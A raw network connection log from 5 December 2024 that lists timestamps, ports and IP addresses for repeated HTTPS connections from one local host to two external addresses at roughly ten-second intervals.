Dec 5, 2024 17:04:31.810153008 CET	443	49768	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:31.810446024 CET	49768	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:41.836148977 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:41.836182117 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:41.836385965 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:41.836585045 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:41.836602926 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.102650881 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.102880955 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.103259087 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.103293896 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.103311062 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.103318930 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.380177975 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.380450964 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.380507946 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.380620003 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.380666018 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.380666018 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.380714893 CET	443	49769	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:42.380836010 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.380992889 CET	49769	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:42.407396078 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.407476902 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:42.407686949 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.407788038 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.407819033 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:42.681821108 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:42.682054996 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.683290958 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.683361053 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:42.684411049 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:42.684576988 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.684969902 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:42.726300001 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:43.009972095 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:43.010032892 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:43.010092020 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:43.010174036 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:43.010174990 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:43.010263920 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:43.010525942 CET	49770	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:43.010541916 CET	443	49770	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:53.037082911 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.037192106 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.037409067 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.037683010 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.037729979 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.311026096 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.311219931 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.311639071 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.311708927 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.311731100 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.311749935 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.588520050 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.588701963 CET	443	49771	142.250.217.238	192.168.11.20
Dec 5, 2024 17:04:53.588732004 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.588898897 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.588898897 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.588898897 CET	49771	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:04:53.602932930 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.603040934 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:53.603368998 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.603487015 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.603523016 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:53.879618883 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:53.879916906 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.880321026 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.880389929 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:53.880414009 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:53.880431890 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:54.190036058 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:54.190262079 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:54.190262079 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:54.190330982 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:54.190443993 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:04:54.190507889 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:54.190598011 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:54.190913916 CET	49772	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:04:54.190969944 CET	443	49772	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:04.222426891 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.222537041 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.223146915 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.223146915 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.223301888 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.508152008 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.508287907 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.508693933 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.508730888 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.508757114 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.508773088 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.783926010 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.784143925 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.784193039 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.784351110 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.784426928 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.784626007 CET	443	49773	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:04.784816980 CET	49773	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:04.798194885 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:04.798237085 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:04.798401117 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:04.798626900 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:04.798645020 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.069363117 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.069505930 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.069855928 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.069873095 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.069941998 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.069962978 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.389265060 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.389388084 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.389535904 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.389556885 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.389579058 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.389695883 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.389955997 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.390038967 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.390209913 CET	443	49774	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:05.390211105 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:05.390405893 CET	49774	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:15.407821894 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.407932997 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.408539057 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.408539057 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.408683062 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.677824974 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.678035021 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.678035021 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.680222988 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.680480003 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.681755066 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.681823969 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.682775021 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.682945967 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.683214903 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.726394892 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.967267990 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.967499971 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.967523098 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.967608929 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.967653990 CET	443	49775	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:15.967675924 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:15.967823982 CET	49775	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:16.008178949 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.008263111 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.008497953 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.008696079 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.008748055 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.283775091 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.284085035 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.285398960 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.285427094 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.285729885 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.285924911 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.286261082 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.330288887 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.595959902 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.596025944 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.596105099 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:16.596167088 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.596167088 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.596465111 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.596652031 CET	49776	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:16.596673012 CET	443	49776	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:26.608139038 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.608247995 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:26.608479977 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.608689070 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.608741999 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:26.887975931 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:26.888396978 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.888782024 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.888849974 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:26.888873100 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:26.888894081 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:27.164346933 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:27.164556980 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:27.164592981 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:27.164756060 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:27.164904118 CET	49777	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:27.164943933 CET	443	49777	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:27.172132969 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.172241926 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.172467947 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.172683001 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.172746897 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.443749905 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.443967104 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.444401026 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.444470882 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.444494963 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.444525957 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.760571957 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.760783911 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.760787010 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.760844946 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.760981083 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.760987997 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.761116028 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.761167049 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.761354923 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.761354923 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:27.761404991 CET	443	49778	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:27.761573076 CET	49778	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:37.777678967 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:37.777791023 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:37.778110027 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:37.778234005 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:37.778275967 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.052834988 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.053148985 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.053420067 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.053463936 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.053519011 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.053555012 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.332843065 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.333023071 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.333080053 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.333117962 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.333240986 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.333300114 CET	49779	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:38.333344936 CET	443	49779	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:38.339787960 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.339850903 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.340023041 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.340194941 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.340224981 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.615277052 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.615427017 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.615950108 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.616020918 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.616045952 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.616074085 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.938563108 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.938826084 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.938832998 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.938884020 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.938975096 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.938975096 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.939028025 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.939057112 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.939208031 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.939310074 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.939311028 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:38.939363956 CET	443	49780	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:38.939527988 CET	49780	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:48.962498903 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:48.962554932 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:48.962735891 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:48.963156939 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:48.963205099 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.228720903 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.228975058 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.229329109 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.229343891 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.229410887 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.229424000 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.511848927 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.512012005 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.512029886 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.512176037 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.512250900 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.512361050 CET	443	49781	142.250.217.238	192.168.11.20
Dec 5, 2024 17:05:49.512495995 CET	49781	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:05:49.516813993 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.516868114 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:49.517040968 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.517205954 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.517239094 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:49.783322096 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:49.783479929 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.783755064 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.783770084 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:49.783893108 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:49.783907890 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.094724894 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.094851971 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.094954967 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095014095 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.095112085 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095134974 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.095231056 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095307112 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095504999 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095504999 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:05:50.095561981 CET	443	49782	142.250.64.193	192.168.11.20
Dec 5, 2024 17:05:50.095690966 CET	49782	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.116357088 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.116466045 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.116797924 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.116916895 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.116955996 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.389113903 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.389316082 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.389524937 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.392263889 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.392457962 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.393656969 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.393702984 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.394695044 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.394969940 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.395272017 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.438451052 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.674102068 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.674318075 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.674350977 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.674597025 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.674657106 CET	49783	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:00.674695015 CET	443	49783	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:00.702100992 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.702169895 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:00.702322006 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.702490091 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.702522039 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:00.973767996 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:00.974040031 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.974339008 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.974383116 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:00.974430084 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:00.974462986 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.284775019 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.284909010 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.284998894 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:01.285057068 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.285090923 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:01.285330057 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:01.285423040 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.285466909 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:01.285537958 CET	443	49784	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:01.285592079 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:01.285660028 CET	49784	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:11.301685095 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.301729918 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.302083015 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.302195072 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.302213907 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.572334051 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.572740078 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.573447943 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.573501110 CET	443	49785	142.250.217.238	192.168.11.20
